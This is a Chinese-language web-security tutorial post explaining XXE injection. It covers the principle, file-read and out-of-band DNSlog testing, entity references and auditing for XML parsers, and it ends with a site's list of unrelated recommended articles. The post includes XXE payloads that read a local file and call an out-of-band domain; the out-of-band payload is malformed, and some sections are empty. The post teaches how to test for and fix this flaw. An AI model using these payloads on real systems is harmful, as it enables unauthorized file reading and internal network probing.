41、WEB攻防——通用漏洞&XML&XXE&无回显&DTD实体&伪协议&代码审计

文章目录


参考资料:CTF XXE

XXE原理&探针&利用

XXE用到的重点知识是XML,XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE(XML External Entity Injection,即xml外部实体注入漏洞),XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(主要)、内网端口扫描、攻击内网网站等危害。

XML和HTML的主要差异:

  • XML被设计为传输和存储数据,其焦点是数据的内容;
  • HTML被设计用来显示数据,其焦点是数据的外观;
  • HTML旨在显示信息,而XML旨在传输信息。

抓取数据包,查看AcceptX-Requested-With可以看出传输XML数据。

XXE读取文件

xml 复制代码
<?xml version="1.0"?><!DOCTYPE Mikasa [<!ENTITY test SYSTEM "file:///d:/e.txt">]><user><username>&test;</username><password>Mikasa</password></user>

具体请看CTF XXE

XXE带外测试

xml 复制代码
<?xml version="1.0"?><!DOCTYPE Mikasa [<!ENTITY test [<!ENTITY % file SYSTEM "<DNSlogs生成的域名>"]> %file;]><user><username>&send;</username><password>Mikasa</password></user>


当读取文件前端页面无回显的时候,就需要使用带外进行测试 。例如,注释掉输出语句,前端将不会显示读取的内容。

再次读取将没有回显。没有回显,可能原因:1、代码写错了;2、文件路径、文件不存在;3、不回显。

带外测试就能证明漏洞存在。 ,带外测试也不会有回显,但是DNSlog上会有记录。

XXE实体引用

带外只能判断漏洞存不存在,读取文件时如何显示文件呢?实体引用


发送xml实体引用,目标文件的内容将会保存到file.txt中。

XXE挖掘

主要是找XML解析函数

XXE修复

相关推荐
GetcharZp2 分钟前
xterm.js 终端神器到底有多强?用了才知道!
前端·后端·go
JiangJiang6 分钟前
🚀 React 弹窗还能这样写?手撸一个高质量 Modal 玩起来!
前端·javascript·react.js
吃炸鸡的前端20 分钟前
el-transfer穿梭框数据量过大的解决方案
前端·javascript
曼诺尔雷迪亚兹24 分钟前
Wireshark快速入门--对启动的后端程序进行抓包
网络·测试工具·wireshark
高德开放平台33 分钟前
文末有奖|高德MCP 2.0 出行领域首发打通大模型与高德地图APP互联
前端
苳烨40 分钟前
UniApp使用最新版Android Studio本地离线打包全流程
前端
Monly2143 分钟前
vue报错:Loading chunk * failed,vue-router懒加载出错问题。
前端·javascript·vue.js
李剑一1 小时前
别再用HTTP/1这个老古董了,两招帮你升级HTTP/2
前端·架构
t2007181 小时前
4.27 react第一天
前端·react.js·前端框架
飞天牛牛1 小时前
前端小知识:彻底搞懂 CSS 的 `position: sticky`!
前端